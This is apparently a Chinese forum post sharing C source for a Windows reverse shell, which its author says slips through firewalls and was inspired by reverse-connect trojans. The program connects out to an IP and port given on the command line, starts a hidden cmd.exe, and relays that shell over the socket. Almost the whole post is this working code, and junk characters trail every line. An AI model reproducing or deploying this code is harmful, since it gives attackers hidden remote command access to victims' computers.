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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l&H-<Z.8m  
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/* ============================== "|6(.S+o  
Rebound port in Windows NT wo9R :kQ  
By wind,2006/7 U'jmgHq  
===============================*/ c:${qY:!  
#include 8 8u[s@  
#include R/{h4/+vJ  
51}C`j|V3{  
#pragma comment(lib,"wsock32.lib") oX6C d:c-  
yc0 1\o  
void OutputShell(); 55v=Ij?M  
SOCKET sClient; 42 `Uq[5Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  !5 S#  
ccv  
void main(int argc,char **argv) <,Gjo]z  
{ F]OWqUV  
WSADATA stWsaData; 7gtaI3   
int nRet; X'd\b}Bm  
SOCKADDR_IN stSaiClient,stSaiServer; s\'t=}0q  
drCL7.j#L  
if(argc != 3) 8Ogg(uS70'  
{ dhLd2WSyH  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4gZR!J  
return; %4VM"C4[  
} `DSDuJw%  
D[T\_3 W  
WSAStartup(MAKEWORD(2,2),&stWsaData); .yDR2 sW  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uToi4]w"y  
 uvDOTRf  
stSaiClient.sin_family = AF_INET; ,9OER!$y  
stSaiClient.sin_port = htons(0); "dG*HKrr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KjA7x  
0>Kgz!I  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y}vV.q  
{ :hHKm|1FE  
printf("Bind Socket Failed!\n"); uxW |&q  
return; p@$92> '  
} BAqwYWdS  
e{: -N  
stSaiServer.sin_family = AF_INET; x}C$/7^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <{V{2V#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^(*eoe  
p3%cb?G%w  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Mt4`~`6  
{ T5[(vTp  
printf("Connect Error!"); 2%l(qf N9  
return; zll?/|%  
} &sq q+&ao  
OutputShell(); nCldH|>5w  
} 9dg+@FS}=  
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void OutputShell() h#h)=;  
{ <SRSJJR|(  
char szBuff[1024]; Or1ikI"  
SECURITY_ATTRIBUTES stSecurityAttributes; C-2#-{<  
OSVERSIONINFO stOsversionInfo; \a:-xwUu<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :2L-Nf  
STARTUPINFO stStartupInfo; l) Cg?9  
char *szShell; G!GGT?J  
PROCESS_INFORMATION stProcessInformation; X)Rh&ui  
unsigned long lBytesRead; K`R  
V=GP_^F  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \p izVt  
K?wo AuY  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *=QWx[K|  
stSecurityAttributes.lpSecurityDescriptor = 0; n\scOM)3  
stSecurityAttributes.bInheritHandle = TRUE; v~O2y>8Z  
C It@xi#I  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |A u+^#:;  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r^"pLzAx  
tjy@sO/Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5 .b U2C  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w#$Q?u ,G  
stStartupInfo.wShowWindow = SW_HIDE; \H?r[]*c%  
stStartupInfo.hStdInput = hReadPipe; ~p/1 9/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rcMSso2  
[%6"UH r  
GetVersionEx(&stOsversionInfo); GA)t!Xg^  
l:VcV  
switch(stOsversionInfo.dwPlatformId) 7N fA)$  
{ .{#J2}+[_}  
case 1: 4}HY= 0Um  
szShell = "command.com"; jUX0sRDk  
break; #ANbhHG  
default: @ **]o  
szShell = "cmd.exe"; %:] ive]e  
break; S_56!  
} ;bt%TxuKb  
0h~7"qUF@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CrI:TB>/ "  
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send(sClient,szMsg,77,0); 3N5b3F  
while(1) A^"( VaK  
{ e47N9&4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pbePxOG  
if(lBytesRead) ;sn]Blpq  
{ gCY%@?YyN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S+&Bf ~~D  
send(sClient,szBuff,lBytesRead,0); +>S\.h s4  
} +(3U_]Lu  
else h#rziZ(  
{ aaM76;  
lBytesRead=recv(sClient,szBuff,1024,0); e2l!L*[g  
if(lBytesRead<=0) break; Gg=Y}S7:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xF8^#J6>  
} '&hk?  
} v46 5Z  
j>-O'CO  
return; aaODj>  
}
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